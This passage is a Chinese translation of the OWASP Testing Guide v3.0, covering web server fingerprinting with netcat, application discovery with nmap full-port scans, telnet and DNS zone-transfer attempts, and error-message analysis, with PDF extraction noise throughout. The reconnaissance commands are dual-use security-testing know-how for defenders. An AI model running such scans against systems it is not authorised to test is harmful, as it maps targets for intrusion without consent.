Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT<br />

Accept-Ranges: bytes<br />

Connection: close<br />

然 而 , 这 种 测 试 方 法 是 不 太 好 。 有 几 个 技 术 , 允 许 一 个 网 站 , 混 淆 或 修 改 服 务 器 的 标 示 字 符 串 。 例 如 , 我 们 可 以 得<br />

到 以 下 答 案 :<br />

403 HTTP/1.1 Forbidden<br />

Date: Mon, 16 Jun 2003 02:41: 27 GMT<br />

Server: Unknown-Webserver/1.0<br />

Connection: close<br />

Content-Type: text/HTML; charset=iso-8859-1<br />

在 这 种 情 况 下 , 服 务 器 领 域 的 这 种 反 应 是 模 糊 的 : 我 们 可 以 不 知 道 什 么 类 型 的 Web 服 务 器 正 在 运 行 。<br />

协 议 行 为<br />

更 完 善 的 技 术 会 考 虑 市 面 上 许 多 已 知 的 web 服 务 器 的 不 同 特 点 。 我 们 将 列 出 一 些 方 法 , 使 我 们 能 够 推 断 出 在 使 用 的<br />

Web 服 务 器 的 类 型 。<br />

HTTP 头 字 段 排 序<br />

第 一 种 方 法 包 括 观 察 反 应 中 一 些 标 题 的 排 序 。 每 一 个 Web 服 务 器 有 一 个 内 部 的 标 题 排 序 。 我 们 认 为 以 下 答 案 作 为<br />

一 个 例 子 :<br />

Response from Apache 1.3.23<br />

$ nc apache.example.com 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Date: Sun, 15 Jun 2003 17:10: 49 GMT<br />

Server: Apache/1.3.23<br />

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT<br />

63


ETag: 32417-c4-3e5d8a83<br />

Accept-Ranges: bytes<br />

Content-Length: 196<br />

Connection: close<br />

Content-Type: text/HTML<br />

Response from IIS 5.0<br />

$ nc iis.example.com 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Content-Location: http://iis.example.com/Default.htm<br />

Date: Fri, 01 Jan 1999 20:13: 52 GMT<br />

Content-Type: text/HTML<br />

Accept-Ranges: bytes<br />

Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT<br />

ETag: W/e0d362a4c335be1: ae1<br />

Content-Length: 133<br />

Response from Netscape Enterprise 4.1<br />

$ nc netscape.example.com 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Server: Netscape-Enterprise/4.1<br />

Date: Mon, 16 Jun 2003 06:01: 40 GMT<br />

Content-type: text/HTML<br />

Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT<br />

Content-length: 57<br />

Accept-ranges: bytes<br />

Connection: close<br />

Response from a SunONE 6.1<br />

$ nc sunone.example.com 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Server: Sun-ONE-Web-Server/6.1<br />

Date: Tue, 16 Jan 2007 15:23:37 GMT<br />

Content-length: 0<br />

Content-type: text/html<br />

Date: Tue, 16 Jan 2007 15:20:26 GMT<br />

Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT<br />

Connection: close<br />

我 们 可 以 看 到 , 在 Apache ,Netscape Enterprise, 和 IIS 之 间 , 日 期 字 段 和 服 务 器 字 段 的 排 序 不 同 。<br />

64


OWASP 测 试 指 南 v3.0<br />

畸 形 请 求 测 试<br />

另 一 个 执 行 的 有 效 的 测 试 是 向 服 务 器 发 送 畸 形 请 求 或 者 针 对 不 存 在 的 页 面 发 送 请 求 。 考 虑 以 下 HTTP 响 应 :<br />

Response from Apache 1.3.23<br />

$ nc apache.example.com 80<br />

GET / HTTP/3.0<br />

HTTP/1.1 400 Bad Request<br />

Date: Sun, 15 Jun 2003 17:12: 37 GMT<br />

Server: Apache/1.3.23<br />

Connection: close<br />

Transfer: chunked<br />

Content-Type: text/HTML; charset=iso-8859-1<br />

Response from IIS 5.0<br />

$ nc iis.example.com 80<br />

GET / HTTP/3.0<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Content-Location: http://iis.example.com/Default.htm<br />

Date: Fri, 01 Jan 1999 20:14: 02 GMT<br />

Content-Type: text/HTML<br />

Accept-Ranges: bytes<br />

Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT<br />

ETag: W/e0d362a4c335be1: ae1<br />

Content-Length: 133<br />

Response from Netscape Enterprise 4.1<br />

$ nc netscape.example.com 80<br />

GET / HTTP/3.0<br />

HTTP/1.1 505 HTTP Version Not Supported<br />

Server: Netscape-Enterprise/4.1<br />

Date: Mon, 16 Jun 2003 06:04: 04 GMT<br />

Content-length: 140<br />

Content-type: text/HTML<br />

Connection: close<br />

Response from a SunONE 6.1<br />

$ nc sunone.example.com 80<br />

GET / HTTP/3.0<br />

HTTP/1.1 400 Bad request<br />

Server: Sun-ONE-Web-Server/6.1<br />

Date: Tue, 16 Jan 2007 15:25:00 GMT<br />

65


Content-length: 0<br />

Content-type: text/html<br />

Connection: close<br />

我 们 注 意 到 , 每 个 服 务 器 以 不 同 的 方 式 反 应 。 服 务 器 版 本 不 同 , 反 应 也 不 同 。 如 果 我 们 用 不 存 在 的 页 面 发 送 请 求 ,<br />

同 样 可 以 得 到 相 似 的 情 况 。 如 下 面 的 反 应 :<br />

Response from Apache 1.3.23<br />

$ nc apache.example.com 80<br />

GET / JUNK/1.0<br />

HTTP/1.1 200 OK<br />

Date: Sun, 15 Jun 2003 17:17: 47 GMT<br />

Server: Apache/1.3.23<br />

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT<br />

ETag: 32417-c4-3e5d8a83<br />

Accept-Ranges: bytes<br />

Content-Length: 196<br />

Connection: close<br />

Content-Type: text/HTML<br />

Response from IIS 5.0<br />

$ nc iis.example.com 80<br />

GET / JUNK/1.0<br />

HTTP/1.1 400 Bad Request<br />

Server: Microsoft-IIS/5.0<br />

Date: Fri, 01 Jan 1999 20:14: 34 GMT<br />

Content-Type: text/HTML<br />

Content-Length: 87<br />

Response from Netscape Enterprise 4.1<br />

$ nc netscape.example.com 80<br />

GET / JUNK/1.0<br />

Bad request<br />

Bad request<br />

Your browser sent to query this server could not understand.<br />

<br />

Response from a SunONE 6.1<br />

$ nc sunone.example.com 80<br />

GET / JUNK/1.0<br />

Bad request<br />

Bad request<br />

Your browser sent a query this server could not understand.<br />

66


OWASP 测 试 指 南 v3.0<br />

<br />

自 动 测 试<br />

要 准 确 得 到 一 个 web 服 务 器 的 指 纹 , 可 以 采 取 很 多 测 试 方 法 。 幸 运 的 是 , 有 自 动 化 的 工 具 做 这 些 测 试 。<br />

“httprint” 是 一 个 这 样 的 工 具 。Httprint 拥 有 一 个 特 征 目 录 , 允 许 用 户 识 别 正 在 使 用 的 web 服 务 器 的 类 型 和 版 本 。<br />

例 如 下 面 的 所 运 行 的 httprint:<br />

在 线 测 试<br />

在 线 工 具 经 常 对 目 标 web 服 务 器 传 递 很 多 信 息 , 其 中 一 个 例 子 就 是 Netcraft。 有 了 这 个 工 具 我 们 可 以 检 索 到 得 信 息<br />

包 括 操 作 系 统 , 使 用 的 Web 服 务 器 , 服 务 器 正 常 运 行 时 间 ,Netblock 业 主 , 有 关 Web 服 务 器 的 历 史 改 变 和 操 作 系<br />

统 。 例 如 :<br />

67


参 考<br />

白 皮 书<br />

工 具<br />

• Saumil Shah: "An Introduction to HTTP fingerprinting" - http://net-square.com/httprint/httprint_paper.html<br />

• httprint - http://net-square.com/httprint/index.shtml<br />

• Netcraft - http://www.netcraft.com<br />

68


OWASP 测 试 指 南 v3.0<br />

4.2.5 应 用 发 现 (OWASP-IG-005)<br />

摘 要<br />

测 试 Web 应 用 安 全 漏 洞 首 要 的 一 步 是 找 出 哪 些 特 定 的 应 用 是 托 管 在 Web 服 务 器 上 。 许 多 应 用 程 序 已 经 存 在 已 知 的<br />

漏 洞 和 已 知 的 攻 击 策 略 , 可 以 利 用 这 些 进 行 远 程 控 制 或 得 到 数 据 。 此 外 , 许 多 应 用 往 往 是 配 置 错 误 或 没 有 更 新 , 原<br />

因 是 他 们 认 为 这 些 应 用 只 是 “ 内 部 使 用 ” , 因 此 并 没 有 任 何 威 胁 的 存 在 。<br />

问 题 描 述<br />

随 着 虚 拟 Web 服 务 器 的 使 用 增 多 , 传 统 的 1:1 型 的 IP 地 址 和 Web 服 务 器 的 关 系 正 在 失 去 它 的 许 多 原 有 的 意 义 。 有<br />

多 个 网 站 / 应 用 程 序 但 是 其 域 名 名 却 解 析 到 同 一 个 IP 的 情 况 并 不 少 见 。( 这 种 情 况 不 仅 限 于 托 管 环 境 , 同 样 也 适 用<br />

于 普 通 的 企 业 环 境 ) 。<br />

作 为 安 全 专 业 人 员 , 你 有 时 会 得 到 一 套 IP 地 址 ( 或 可 能 只 有 一 个 ) 作 为 测 试 目 标 。 可 以 认 为 这 种 情 况 更 象 是 一 个<br />

渗 透 测 试 型 接 触 , 但 在 任 何 情 况 下 , 预 计 这 种 任 务 将 考 验 在 这 一 目 标 上 的 所 有 Web( 或 其 他 东 西 ) 。 现 在 的 问 题<br />

是 , IP 地 址 在 80 端 口 托 管 HTTP 服 务 , 但 是 如 果 你 访 问 指 定 的 IP 地 址 ( 这 是 所 有 你 知 道 ), 它 会 报 告 “ 没 有<br />

Web 服 务 器 配 置 此 地 址 ” 或 类 似 信 息 。 但 是 , 该 系 统 可 以 “ 隐 藏 ” 了 一 些 Web 应 用 程 序 , 可 以 通 过 一 些 貌 似 不 相 关<br />

的 ( DNS ) 域 名 来 访 问 。 显 然 , 你 分 析 的 范 围 深 受 应 用 的 测 试 结 果 影 响 , 或 者 你 不 受 一 点 影 响 , 因 为 没 有 注 意 到<br />

它 们 或 只 注 意 到 一 部 分 。 有 时 候 , 目 标 规 格 更 丰 富 - 也 许 得 到 了 IP 地 址 列 表 及 其 相 应 的 域 名 。 然 而 , 这 份 清 单 可 能<br />

只 包 含 了 部 分 资 料 , 也 就 是 说 , 它 可 以 缺 失 了 一 些 符 号 名 字 - 和 客 户 可 能 甚 至 不 知 道 这 件 事 ( 这 是 更 可 能 发 生 在 大<br />

型 组 织 ) !<br />

其 他 影 响 评 估 范 围 的 事 件 包 括 发 布 在 不 明 显 的 URL 的 web 应 用 , ( 例 如 , http://www.example.com/somestrange-URL<br />

) , 其 他 地 方 无 法 链 接 到 这 个 URL。 这 可 能 由 于 错 误 造 成 ( 由 于 错 误 ) , 也 有 可 能 是 故 意 造 成 的<br />

( 例 如 未 公 开 的 管 理 接 口 )。<br />

为 了 解 决 这 些 问 题 , 有 必 要 以 执 行 Web 应 用 程 序 发 现 。<br />

黑 盒 测 试 实 例<br />

WEB 应 用 发 现<br />

Web 应 用 程 序 的 发 现 是 一 个 过 程 , 旨 在 在 给 定 的 架 构 上 找 到 Web 应 用 程 序 。 而 这 给 定 的 架 构 通 常 是 特 定 的 一 组 IP<br />

地 址 ( 也 可 能 是 一 个 网 络 区 域 (net block)) , 但 可 能 包 括 一 套 DNS 域 名 或 两 者 混 合 。 这 一 信 息 在 评 估 执 行 前 发<br />

放 , 无 论 是 一 个 典 型 风 格 的 渗 透 试 验 或 应 用 为 重 点 的 评 估 。 在 这 两 种 情 况 下 , 除 非 指 定 测 试 规 则 ( 例 如 , “ 只 测 试<br />

位 于 网 址 http://www.example.com/ 的 应 用 。” ) , 评 估 应 力 求 覆 盖 范 围 最 全 面 , 即 应 确 定 所 有 可 以 通 过 给 定 的 目 标<br />

的 应 用 。 在 下 面 的 示 例 中 , 我 们 将 研 究 一 些 技 术 , 可 以 用 来 实 现 这 一 目 标 。<br />

注 : 以 下 一 些 技 术 适 用 于 面 向 互 联 网 的 Web 服 务 器 , 即 DNS 和 反 向 IP 基 于 网 络 的 搜 索 服 务 和 使 用 搜 索 引 擎 。 为 了<br />

匿 名 的 目 的 , 除 另 有 说 明 外 , 以 下 例 子 使 用 的 专 用 IP 地 址 ( 如 192.168.1.100 ) 代 表 通 用 的 IP 地 址 。<br />

69


有 三 个 因 素 影 响 了 在 指 定 DNS 域 名 ( 或 IP 地 址 ) 上 的 网 络 应 用 的 数 量 :<br />

1. URL 基 准 不 同<br />

一 个 Web 应 用 程 序 最 明 显 的 切 入 点 是 www.example.com , 通 过 这 样 的 简 化 符 号 , 我 们 认 为 web 应 用 起 源 于<br />

http://www.example.com/ ( 这 同 样 适 用 于 用 于 HTTPS ) 。 然 而 , 尽 管 这 是 最 常 见 的 情 况 是 , 没 有 规 定 网 络 应 用 必<br />

须 从 “ / ” 开 始 。 例 如 , 同 样 的 符 号 名 可 能 关 联 到 三 个 Web 应 用 程 序 , 如 : http://www.example.com/url1<br />

http://www.example.com/url2 http://www.example.com/url3 在 这 种 情 况 下 , 网 址 http://www.example.com/ 不 会 关 联<br />

到 一 个 有 意 义 的 网 页 , 而 这 三 个 申 请 将 “ 隐 藏 ” , 除 非 我 们 明 确 地 知 道 如 何 访 问 这 些 目 标 , 即 , 我 们 知 道 url1 , url2<br />

或 url3 。 通 常 没 有 必 要 以 这 种 方 式 发 布 Web 应 用 程 序 , 除 非 你 不 想 让 他 们 按 照 标 准 方 式 访 问 , 同 时 你 已 准 备 通 知<br />

用 户 他 们 的 确 切 位 置 。 这 并 不 意 味 着 这 些 应 用 是 秘 密 进 行 的 , 只 是 他 们 的 存 在 和 位 置 没 有 明 确 公 布 。<br />

2. 非 标 准 端 口<br />

虽 然 Web 应 用 程 序 通 常 开 通 端 口 80 ( HTTP ) 和 443 ( HTTPS 的 ) , 而 这 些 端 口 号 码 并 没 有 特 别 含 义 。 事 实 上 ,<br />

Web 应 用 程 序 可 能 与 任 意 TCP 端 口 , 并 可 以 参 照 指 定 的 端 口 号 如 下 :http[s]://www.example.com:port/。 例 如 ,<br />

http://www.example.com:20000/ 。<br />

3. 虚 拟 主 机<br />

DNS 允 许 一 个 IP 连 接 一 个 或 多 个 符 号 名 。 例 如 ,IP 地 址 192.168.1.100 可 能 是 相 关 的 DNS 名 称 有 :<br />

www.example.com ,helpdesk.example.com , webmail.example.com ( 实 际 上 , 并 不 是 所 有 的 符 号 名 都 必 须 属 于 同 一<br />

个 DNS 域 。) 。 这 1 对 N 的 关 系 可 以 通 过 使 用 所 谓 的 虚 拟 主 机 来 运 行 不 同 的 内 容 。 关 于 我 们 所 指 的 虚 拟 主 机 的 相 关<br />

信 息 都 嵌 入 在 HTTP 1.1 Host: header [1]。<br />

如 果 不 是 我 们 知 道 helpdesk.example.com 和 webmail.example.com , 我 们 不 会 怀 疑 除 www.example.com 外 还 有 其 它<br />

web 应 用 的 存 在 。<br />

解 决 地 址 问 题 方 法 1—— 非 标 准 URLs<br />

没 有 办 法 可 以 完 全 确 定 是 否 存 在 不 规 范 命 名 的 Web 应 用 程 序 。 作 为 非 标 准 , 就 是 没 有 固 定 的 标 准 的 命 名 惯 例 , 但<br />

是 测 试 人 员 可 以 使 用 一 些 技 术 得 到 更 多 信 息 。 首 先 , 如 果 Web 服 务 器 配 置 错 误 , 并 允 许 目 录 浏 览 , 测 试 人 员 有 可<br />

能 可 以 发 现 这 些 应 用 。 弱 点 扫 描 仪 可 以 在 这 方 面 起 到 作 用 。 其 次 , 其 它 网 页 可 能 会 引 用 这 些 应 用 程 序 , 如 果 这 样 的<br />

话 , 他 们 可 能 已 经 被 爬 虫 抓 取 并 收 录 在 网 页 搜 索 引 擎 中 了 。 如 果 我 们 怀 疑 在 www.example.com 上 是 否 存 在 这 种 隐<br />

藏 应 用 , 我 们 可 以 使 用 site operator 在 Google 上 搜 索 并 检 查 查 询 “site: www.example.com” 的 结 果 。 在 返 回 的 网 址 中<br />

可 能 有 一 个 是 隐 藏 的 应 用 。 另 一 种 选 择 是 , 搜 索 有 可 能 是 隐 藏 应 用 的 URLs。 例 如 , 通 过 一 些 URLs 可 能 可 以 进 入 网<br />

站 的 邮 件 页 面 , 如 : https://www.example.com/webmail,https://webmail.example.com/, 或 https://mail.example.com<br />

/ 。 这 一 方 法 同 样 适 用 于 那 些 有 隐 藏 URLs 的 管 理 界 面 ( 例 如 , 一 个 Tomcat 管 理 界 面 ), 这 些 界 面 并 没 有 在 其 它 地<br />

方 被 引 用 。 但 没 有 提 及 任 何 地 方 。 所 以 , 做 了 一 些 字 典 式 搜 索 ( 或 “ 智 能 猜 测 ” ) 可 能 会 产 生 一 些 成 果 。 弱 点 扫 描<br />

仪 在 这 方 面 也 可 以 起 到 作 用 。<br />

70


OWASP 测 试 指 南 v3.0<br />

解 决 问 题 方 法 2—— 非 标 准 端 口<br />

人 们 很 容 易 在 非 标 准 端 口 中 检 查 是 否 存 在 Web 应 用 程 序 。 像 Nmap[ 2 ] 这 样 的 端 口 扫 描 仪 能 够 通 过 -sV 选 择 进 行 服<br />

务 识 别 , 并 能 确 定 在 任 意 端 口 中 的 http [s] 服 务 。 现 在 需 要 的 是 对 64K 的 TCP 端 口 地 址 空 间 的 完 整 扫 描 。 例 如 , 使 用<br />

一 个 TCP 连 接 扫 描 , 下 面 的 命 令 将 扫 描 所 有 在 IP192.168.1.100 中 的 开 放 端 口 , 并 找 出 哪 些 服 务 对 应 到 这 些 端 口 ( 只<br />

显 示 必 要 的 开 关 ,nmap 有 广 泛 的 选 项 , 这 些 选 项 的 讨 论 不 在 我 们 的 范 围 内 ):<br />

nmap –PN –sT –sV –p0-65535 192.168.1.100<br />

这 个 对 于 检 测 输 出 , 查 询 HTTP 或 SSL 服 务 是 足 够 的 ( 需 要 确 认 是 HTTPS ) 。 例 如 , 之 前 命 令 的 输 出 可 以 是 :<br />

Interesting ports on 192.168.1.100:<br />

(The 65527 ports scanned but not shown below are in state: closed)<br />

PORT STATE SERVICE VERSION<br />

22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)<br />

80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))<br />

443/tcp open ssl OpenSSL<br />

901/tcp open http Samba SWAT administration server<br />

1241/tcp open ssl Nessus security scanner<br />

3690/tcp open unknown<br />

8000/tcp open http-alt?<br />

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1<br />

从 这 个 例 子 , 可 以 看 出 :<br />

• Apache HTTP 服 务 器 在 端 口 80 上 运 行 。<br />

• 看 来 似 乎 在 端 口 443 中 是 一 个 HTTPS 服 务 器 ( 但 是 这 需 要 得 到 证 实 , 例 如 , 通 过 使 用 浏 览 器 访 问<br />

https://192.168.1.100) 。<br />

• 901 端 口 上 有 一 个 Samba SWAT 网 络 界 面 。<br />

• 端 口 1241 上 的 服 务 不 是 HTTPS, 而 是 SSL-wrapped Nessus daemon。<br />

• 端 口 3690 上 有 未 指 定 的 服 务 (Nmap 还 得 到 其 指 纹 —— 这 里 为 了 简 便 , 省 略 了 部 分 —— 连 提 交 入 Nmap 的<br />

指 纹 数 据 库 的 指 示 , 通 过 这 种 方 式 你 知 道 它 代 表 的 是 哪 种 服 务 。) 。<br />

• 端 口 8000 的 另 一 个 不 明 的 服 务 ; 这 可 能 是 网 址 , 因 为 它 在 这 个 端 口 发 现 http 服 务 很 常 见 。 让 我 们 来 看<br />

看 :<br />

$ telnet 192.168.10.100 8000<br />

Trying 192.168.1.100...<br />

Connected to 192.168.1.100.<br />

71


Escape character is '^]'.<br />

GET / HTTP/1.0<br />

HTTP/1.0 200 OK<br />

pragma: no-cache<br />

Content-Type: text/html<br />

Server: MX4J-HTTPD/1.0<br />

expires: now<br />

Cache-Control: no-cache<br />

<br />

...<br />

这 证 实 事 实 上 它 是 一 个 HTTP 服 务 器 。 或 者 , 我 们 已 经 使 用 web 浏 览 器 访 问 了 这 个 网 址 , 或 使 用 过 GET 或 HEAD Perl<br />

命 令 来 模 仿 HTTP 相 互 作 用 , 如 同 上 面 的 命 令 ( 不 是 所 有 服 务 器 都 有 报 头 请 求 ) 。Apache Tomcat 在 端 口 8080 上 运<br />

行 。<br />

漏 洞 扫 描 器 可 以 完 成 同 样 的 任 务 - 但 首 先 确 认 您 所 选 择 的 扫 描 仪 能 够 找 到 在 非 标 准 端 口 上 运 行 的 http[s] 服 务 。 例 如 ,<br />

Nessus[3] 能 够 在 任 意 端 口 确 定 http[s] 服 务 ( 如 果 你 指 示 它 扫 描 所 有 的 端 口 ), 并 测 试 - 关 于 Nmap 的 - 一 些 已 知 web<br />

服 务 器 的 漏 洞 和 http[s] 服 务 的 SSL 配 置 。 正 如 之 前 所 提 示 的 , Nessus 是 还 可 以 发 现 流 行 的 应 用 程 序 / 网 络 接 口 , 这<br />

些 可 以 在 不 被 察 觉 的 情 况 下 运 行 ( 例 如 ,tomcat 管 理 界 面 )。<br />

解 决 问 题 方 法 3—— 虚 拟 机<br />

有 许 多 技 术 可 用 于 识 别 特 定 的 IP 地 址 x.y.z.t 相 关 联 的 DNS 域 名 。<br />

DNS 域 名 转 换<br />

这 种 技 术 今 天 已 经 很 少 使 用 了 , 因 为 DNS 服 务 器 基 本 上 不 支 持 域 名 转 换 。 然 而 , 它 可 能 是 值 得 一 试 。 首 先 , 我 们 必<br />

须 确 定 x.y.z.t 对 应 的 名 称 服 务 器 。 例 如 x.y.z.t 有 已 知 的 域 名 ( 假 设 是 www.example.com ) , 其 名 称 服 务 器 可 以 通<br />

过 一 些 工 具 确 定 , 如 : nslookup ,host 或 dig 找 到 , 或 通 过 请 求 DNS NS 记 录 确 定 。 如 果 不 知 道 x.y.z.t 对 应 的 域 名 ,<br />

但 您 的 目 标 的 定 义 至 少 包 含 一 个 域 名 , 您 可 以 尝 试 采 用 同 样 的 程 序 查 询 名 称 服 务 器 ( 希 望 那 个 名 称 服 务 器 有 x.y.z.t<br />

的 对 应 域 名 ) 。 例 如 , 如 果 您 的 目 标 组 成 是 IP 地 址 x.y.z.t 和 mail.example.com , 那 对 应 的 就 是 example.com 域 的 名<br />

称 服 务 器 。<br />

以 下 示 例 显 示 通 过 使 用 主 机 的 命 令 如 何 确 定 的 名 称 服 务 器 www.owasp.org:<br />

$ host -t ns www.owasp.org<br />

www.owasp.org is an alias for owasp.org.<br />

owasp.org name server ns1.secure.net.<br />

owasp.org name server ns2.secure.net.<br />

72


OWASP 测 试 指 南 v3.0<br />

名 称 服 务 器 的 域 example.com 现 在 可 能 要 求 域 名 转 换 。 如 果 你 足 够 幸 运 的 话 , 你 会 得 到 这 个 域 的 一 系 列 DNS<br />

条 目 。 这 将 包 括 明 显 www.example.com 和 的 不 那 么 明 显 helpdesk.example.com 和<br />

webmail.example.com( 和 其 他 可 能 )。 检 查 域 名 转 换 传 回 的 所 有 的 名 字 , 并 考 虑 所 有 与 评 估 的 目 标 有 关 的 名<br />

字 。<br />

试 图 从 其 中 一 个 名 称 服 务 器 对 owasp.org 请 求 域 名 转 换 :<br />

$ host -l www.owasp.org ns1.secure.net<br />

Using domain server:<br />

Name: ns1.secure.net<br />

Address: 192.220.124.10#53<br />

Aliases:<br />

Host www.owasp.org not found: 5(REFUSED)<br />

; Transfer failed.<br />

DNS 反 向 查 询<br />

这 一 过 程 类 似 于 前 一 个 , 但 依 靠 相 反 的 (PTR) DNS 记 录 。 与 其 要 求 域 名 转 换 , 不 如 尝 试 把 记 录 类 型 设 置 成 PTR 并<br />

通 过 指 定 IP 地 址 上 查 询 。 如 果 你 足 够 幸 运 的 话 , 您 可 能 会 得 到 相 关 的 DNS 名 称 条 目 。 这 种 技 术 依 赖 于 IP 与 域 名 的<br />

转 换 关 系 , 无 法 得 到 保 证 。<br />

基 于 Web 的 DNS 搜 索<br />

这 种 搜 索 是 类 似 于 一 种 DNS 域 名 转 换 , 但 依 赖 于 基 于 Web 的 服 务 , 使 对 DNS 进 行 基 于 名 称 的 搜 索 。 一 个 这 样 的 服<br />

务 是 Netcraft 的 搜 索 DNS 服 务 , 可 访 问 http://searchdns.netcraft.com/?host。 你 可 以 查 询 属 于 您 选 择 的 域 名 的 名<br />

单 , 如 example.com 。 那 幺 你 可 以 检 查 是 否 你 选 择 的 域 名 符 合 你 所 检 查 的 目 标 。<br />

反 向 IP 服 务<br />

反 向 IP 服 务 类 似 的 DNS 反 向 查 询 , 不 同 点 在 于 你 查 询 一 个 基 于 网 络 的 应 用 , 而 不 是 名 称 服 务 器 。 有 许 多 提 供 这 种<br />

服 务 。 因 为 他 们 往 往 返 回 部 分 ( 和 经 常 不 同 ) 的 结 果 , 最 好 使 用 多 种 服 务 以 获 得 更 全 面 的 分 析 。<br />

Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (requires free membership)<br />

MSN search: http://search.msn.com syntax: "ip:x.x.x.x" (without the quotes)<br />

Webhosting info: http://whois.webhosting.info/ syntax: http://whois.webhosting.info/x.x.x.x<br />

DNSstuff: http://www.dnsstuff.com/ (multiple services available)<br />

http://net-square.com/msnpawn/index.shtml (multiple queries on domains and IP addresses, requires installation)<br />

73


tomDNS: http://www.tomdns.net/ (some services are still private at the time of writing)<br />

SEOlogs.com: http://www.seologs.com/ip-domains.html (reverse-IP/domain lookup)<br />

以 下 示 例 显 示 的 是 查 询 上 面 提 到 的 其 中 一 个 反 向 IP 服 务 216.48.3.18 的 结 果 , 域 名 为 www.owasp.org 。 另 外 三 个 映<br />

像 到 相 同 地 址 的 隐 性 符 号 名 已 被 揭 露 出 来 。<br />

使 用 google<br />

采 用 之 前 技 术 收 集 的 信 息 , 您 可 以 依 靠 搜 索 引 擎 优 化 和 增 量 你 的 分 析 。 这 可 能 会 产 生 更 多 属 于 您 的 目 标 的 域 名 , 或<br />

可 以 通 过 隐 性 URL 访 问 的 应 用 程 序 。 例 如 , 考 虑 到 前 面 的 关 于 www.owasp.org 的 例 子 , 您 可 以 查 询 谷 歌 和 其 它 搜<br />

索 引 擎 查 找 与 新 发 现 的 webgoat.org , webscarab.com , 和 webscarab.net 域 名 相 关 的 信 息 ( DNS 名 称 )。 关 于 如 何<br />

使 用 Google 技 术 , 可 以 在 以 下 章 节 找 到 : 蜘 蛛 、 机 器 人 和 爬 行 。<br />

灰 盒 测 试 实 例<br />

不 适 用 。 不 管 你 开 始 时 知 道 多 少 信 息 , 该 方 法 与 黑 盒 测 试 所 列 是 一 样 的 。<br />

参 考<br />

白 皮 书<br />

工 具<br />

[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1<br />

• DNS lookup tools such as nslookup, dig or similar.<br />

74<br />

• Port scanners (such as nmap, http://www.insecure.org) and vulnerability scanners (such as Nessus: http://www.nessus.org;<br />

wikto: http://www.sensepost.com/research/wikto/).


OWASP 测 试 指 南 v3.0<br />

• Search engines (Google, and other major engines).<br />

• Specialized DNS-related web-based search service: see text.<br />

• nmap - http://www.insecure.org<br />

• Nessus Vulnerability Scanner - http://www.nessus.org<br />

4.2.6 错 误 代 码 分 析 (OWASP-IG-006)<br />

摘 要<br />

往 往 在 Web 应 用 程 序 渗 透 测 试 中 , 我 们 遇 到 了 许 多 在 应 用 或 Web 服 务 区 中 生 成 的 错 误 代 码 。 通 过 使 用 一 些 工 具 定 制<br />

的 或 者 是 手 动 创 建 的 特 定 请 求 , 能 够 让 这 些 错 误 代 码 显 示 出 来 。 这 些 代 码 在 他 们 活 动 时 对 渗 透 测 试 非 常 有 用 , 因 为<br />

他 们 能 揭 露 大 量 关 于 数 据 库 , 漏 洞 和 其 它 与 web 应 用 相 关 的 技 术 部 件 的 信 息 。 在 本 节 中 , 我 们 可 以 分 析 比 较 常 见 的<br />

代 码 ( 错 误 信 息 ) , 并 把 重 点 放 在 弱 点 评 估 的 步 骤 上 。 这 项 活 动 最 重 要 的 方 面 是 将 注 意 力 集 中 在 这 些 错 误 上 , 将<br />

他 们 当 作 是 对 下 一 步 分 析 有 帮 助 的 信 息 收 集 。 有 效 的 信 息 收 集 能 提 高 评 估 效 率 , 减 少 进 行 渗 透 测 试 的 整 体 时 间 。<br />

问 题 描 述<br />

在 我 们 搜 索 中 一 个 常 见 的 错 误 是 HTTP 404 未 找 到 。 通 常 此 错 误 代 码 提 供 了 关 于 潜 在 web 服 务 器 和 相 关 组 件 的 有 益<br />

的 详 细 信 息 。 例 如 :<br />

Not Found<br />

The requested URL /page.html was not found on this server.<br />

Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80<br />

此 错 误 信 息 可 以 通 过 请 求 不 存 在 的 网 址 产 生 。 在 显 示 网 页 找 不 到 的 普 通 信 息 后 , 就 会 有 关 于 Web 服 务 器 版 本 , 操 作<br />

系 统 , 模 块 和 其 他 使 用 产 品 的 信 息 。 从 操 作 系 统 和 应 用 类 型 和 版 本 鉴 定 这 方 面 来 看 , 这 些 信 息 是 非 常 重 要 的 。<br />

Web 服 务 器 的 错 误 并 不 是 唯 一 有 用 的 需 要 安 全 分 析 的 返 回 的 输 出 。 请 查 看 下 一 个 错 误 消 息 实 例 :<br />

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)<br />

[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied<br />

发 生 了 什 幺 ? 下 面 我 们 将 一 步 一 步 解 释 。<br />

在 这 个 例 子 中 , 80004005 是 一 个 IIS 错 误 代 码 , 这 表 明 , 它 不 能 对 相 关 数 据 库 建 立 一 个 连 接 。 在 许 多 情 况 下 , 错 误<br />

信 息 将 详 细 表 明 数 据 库 的 类 型 。 通 过 这 种 关 联 常 常 能 找 到 底 层 操 作 系 统 。 有 了 这 一 信 息 , 渗 透 测 试 者 就 能 设 计 出 的<br />

适 当 安 全 测 试 战 略 。<br />

操 纵 传 递 给 数 据 库 的 连 接 字 符 串 的 变 量 , 我 们 可 以 援 引 更 详 细 的 错 误 。<br />

75


Microsoft OLE DB Provider for ODBC Drivers error '80004005'<br />

[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key 'DriverId'<br />

